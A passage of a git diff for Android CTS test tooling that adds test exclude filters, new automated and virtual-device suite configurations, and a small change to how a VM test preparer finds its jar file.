+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
+
+    <!--
+        Exclude Webkit related testcases
+        TODO(jaekyun@): b/63600240, Webkit related testcases will be revived when the RRO packaging logic is revised so that we can selectively compose a RRO from overlays.
+    -->
+    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testWebViewLoads" />
+    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.WebViewTest#testWebView" />
+    <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testCookieManager" />
+    <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testStrictMode" />
+    <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testWebViewVersionApi" />
+    <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testWebViewVersionApiOnUiThread" />
+    <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.cts.EmojiTest#testEmojiGlyph" />
+    <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.util.cts.LinkifyTest#testAddLinks_doesNotAddLinksForUrlWithoutProtocolAndWithoutKnownTld" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAccessAutoLinkMask" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinkIfAppendedTextCompletesPartialUrlAtTheEndOfExistingText" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinkIfAppendedTextUpdatesUrlAtTheEndOfExistingText" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksEvenWhenThereAreUrlsSetBefore" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksWhenAutoLinkIsEnabled" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksWhenTextIsSpannableAndContainsUrlAndAutoLinkIsEnabled" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_doesNotAddLinksWhenAppendedTextDoesNotContainLinks" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_setsMovementMethodWhenTextContainsUrlAndAutoLinkIsEnabled" />
+
+    <!--
+        Exclude testcases failing on AOSP Pixel system.img
+        TODO(jaeshin@): b/63302562, Track future fixes to AOSP Pixel system.img and revive these testcases accordingly.
+    -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testExposedSystemActivities" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
+    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
+    <option name="compatibility:exclude-filter" value="CtsSignatureTestCases android.signature.cts.IntentTest#shouldNotFindUnexpectedIntents" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp8Other0Qual1920x1080" />
+
 </configuration>
+
diff --git a/tools/cts-tradefed/res/config/cts-suite-automated.xml b/tools/cts-tradefed/res/config/cts-suite-automated.xml
new file mode 100644
index 0000000..68d450f
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-suite-automated.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS with common options set for an automated run on userdebug/eng builds">
+
+    <include name="cts-suite" />
+
+    <option name="plan" value="cts-suite" />
+
+    <option name="skip-preconditions" value="false" />
+
+    <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+    <!-- Tell all HostTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-suite-virtual-device.xml b/tools/cts-tradefed/res/config/cts-suite-virtual-device.xml
new file mode 100644
index 0000000..822ffe1
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-suite-virtual-device.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS with common options set for an automated run on userdebug/eng builds, and per module rules suitable for virtual devices">
+
+    <include name="cts-suite-automated" />
+
+    <!-- add per module rules for virtual devices below -->
+    <option name="compatibility:module-arg" value="CtsDevicePolicyManagerTestCases:exclude-annotation:android.platform.test.annotations.RequiresDevice" />
+    <option name="compatibility:module-arg" value="CtsDeqpTestCases:include-filter:dEQP-GLES2.functional.prerequisite#*" />
+    <option name="compatibility:module-arg" value="CtsDeqpTestCases:include-filter:dEQP-EGL.*" />
+    <option name="compatibility:module-arg" value="CtsLibcoreTestCases:core-expectation:/virtualdeviceknownfailures.txt" />
+</configuration>
diff --git a/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java b/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
index d46e330..1513592 100644
--- a/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
+++ b/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
@@ -82,7 +82,7 @@
         try {
             File tmpDir = new File(System.getProperty("java.io.tmpdir"));
             File localTmpDir = FileUtil.createTempDir("cts-vm", tmpDir);
-            File jarFile = new File(ctsBuild.getTestsDir(), JAR_FILE);
+            File jarFile = ctsBuild.getTestFile(JAR_FILE);
             if (!jarFile.exists()) {
                 CLog.e("Missing jar file %s", jarFile.getPath());
                 return false;
@@ -133,4 +133,4 @@
         device.executeShellCommand(String.format("mkdir %s", VM_TEMP_DIR));
         device.executeShellCommand(String.format("mkdir %s", remoteFilePath));
     }
-}
\ No newline at end of file
+}